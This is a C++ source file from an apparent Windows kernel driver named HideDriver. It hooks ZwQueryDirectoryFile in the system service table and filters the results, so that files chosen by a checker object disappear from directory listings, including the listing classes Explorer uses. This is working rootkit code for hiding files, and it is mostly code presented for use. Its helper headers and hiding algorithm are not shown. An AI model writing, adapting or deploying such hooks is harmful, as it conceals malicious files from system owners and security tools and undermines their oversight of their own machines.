#include "drvCommon.h"
#include "HookFactory.h"
#include "FileHook.h"
#include "StringUtils.h"
#include "FileHideAlgorithm.h"
extern "C"
{
typedef struct _FILE_FULL_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
WCHAR FileName[1];
} FILE_FULL_DIRECTORY_INFORMATION, *PFILE_FULL_DIRECTORY_INFORMATION;
typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
UCHAR AlternateNameLength;
WCHAR AlternateName[12];
WCHAR FileName[1];
} FILE_BOTH_DIRECTORY_INFORMATION, *PFILE_BOTH_DIRECTORY_INFORMATION;
/*NtQueryDirectoryFile*/
typedef NTSTATUS (*NtQueryDirFilePtr)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);
};
namespace HideDriver
{
const wchar_t* strZwQueryDirectoryFile = L"ZwQueryDirectoryFile";
/*Pointer to original NtQueryDirectoryFile function*/
NtQueryDirFilePtr TrueNtQueryDirectoryFile;
/*File checker decide hide file or not*/
HideAlgorithm::IFileChecker* gFileChecker;
/*NewNtQueryDirectoryFile: hooked version of NtQueryDirectoryFile function*/
NTSTATUS NewNtQueryDirectoryFile(IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan);
//////////////////////////////////////////////////////////////////////////////////
FileHook::FileHook(HideAlgorithm::IFileChecker* fileChecker)
{
gFileChecker = fileChecker;
}
void FileHook::Initialize(HookMng& hookMng)
{
std::wstring functionName(strZwQueryDirectoryFile);
UNICODE_STRING functionNameUnc = utils::wstring2UnicodeStr(functionName);
hook_ = CreateSSTHook( &NewNtQueryDirectoryFile ,&functionNameUnc);
// Need to save original function address before apply hook
TrueNtQueryDirectoryFile = (NtQueryDirFilePtr)hook_.trueFuncPtr;
hookMng.AddHook(hook_);
}
void FileHook::Cleanup(HookMng& hookMng)
{
hookMng.DeleteHook(hook_);
}
//////////////////////////////////////////////////////////////////////////////////
NTSTATUS OriginalHandlerWrapper(const HideAlgorithm::NtQueryDirParams& params)
{
return TrueNtQueryDirectoryFile(params.FileHandle,
params.Event,
params.ApcRoutine,
params.ApcContext,
params.IoStatusBlock,
params.FileInformation,
params.FileInformationLength,
params.FileInformationClass,
params.ReturnSingleEntry,
params.FileName ,
params.RestartScan);
}
NTSTATUS NewNtQueryDirectoryFile(IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan)
{
using namespace HideAlgorithm;
NtQueryDirParams params = {FileHandle,Event,ApcRoutine,ApcContext,
IoStatusBlock,FileInformation,FileInformationLength,
FileInformationClass,ReturnSingleEntry,FileName,RestartScan};
NTSTATUS status = OriginalHandlerWrapper(params);
if( !NT_SUCCESS(status) )
return status;
params.RestartScan = FALSE; // Search must be continued
// Save original handler to request more data in future
HideParams hideParams = {params,gFileChecker,&OriginalHandlerWrapper};
switch(FileInformationClass)
{
case FileDirectoryInformation:
return HideFile<FILE_DIRECTORY_INFORMATION>(hideParams);
case FileFullDirectoryInformation:
return HideFile<FILE_FULL_DIRECTORY_INFORMATION>(hideParams);
case FileBothDirectoryInformation:
return HideFile<FILE_BOTH_DIRECTORY_INFORMATION>(hideParams);
case FileNamesInformation:
return HideFile<FILE_NAMES_INFORMATION>(hideParams);
case FileIdBothDirectoryInformation: // Used by Vista and later explorer
return HideFile<FILE_ID_BOTH_DIR_INFORMATION>(hideParams);
case FileIdFullDirectoryInformation: // Used by Vista and later explorer
return HideFile<FILE_ID_FULL_DIR_INFORMATION>(hideParams);
default:return status;
}
}
}// namespace HideDriver